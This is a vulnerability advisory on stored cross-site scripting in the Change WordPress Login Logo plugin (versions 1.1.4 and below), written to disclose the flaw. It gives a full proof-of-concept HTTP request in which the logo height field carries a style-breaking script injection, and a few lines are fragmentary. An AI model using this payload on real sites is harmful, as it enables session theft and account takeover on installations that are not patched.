The Change WordPress Login Logo Plugin version 1.1.4 and below were found to be vulnerable to multiple stored XSS vulnerabilities while I was auditing the plugin.
Change WordPress Login Logo Plugin is used to replace WordPress default logo in WordPress login page with a user supplied image. It was found to be vulnerable to multiple stored Cross-Site Scripting (XSS) vulnerabilities. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.
width fields used updating the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads the WordPress login page. All WordPress websites using Change WordPress Login Logo Plugin version 1.1.4 and below are affected.
height or width
Proof of Concept
POST /w/wp-admin/options.php HTTP/1.1 Host: 22.214.171.124 Content-Length: 353 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://126.96.36.199 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://188.8.131.52/w/wp-admin/options-general.php?page=change-login-logo Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791 Connection: close option_page=change_login_options_group&action=update&_wpnonce=6d58248d5e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dchange-login-logo&wp_logo_url=http%3A%2F%2F184.108.40.206%2Fw%2Fwp-content%2Fuploads%2F2020%2F08%2F75.jpg&wp_logo_height=100%7D%3C%2Fstyle%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&wp_logo_width=100&submit=Save+Changes
All user inputs should be sanitized before usage.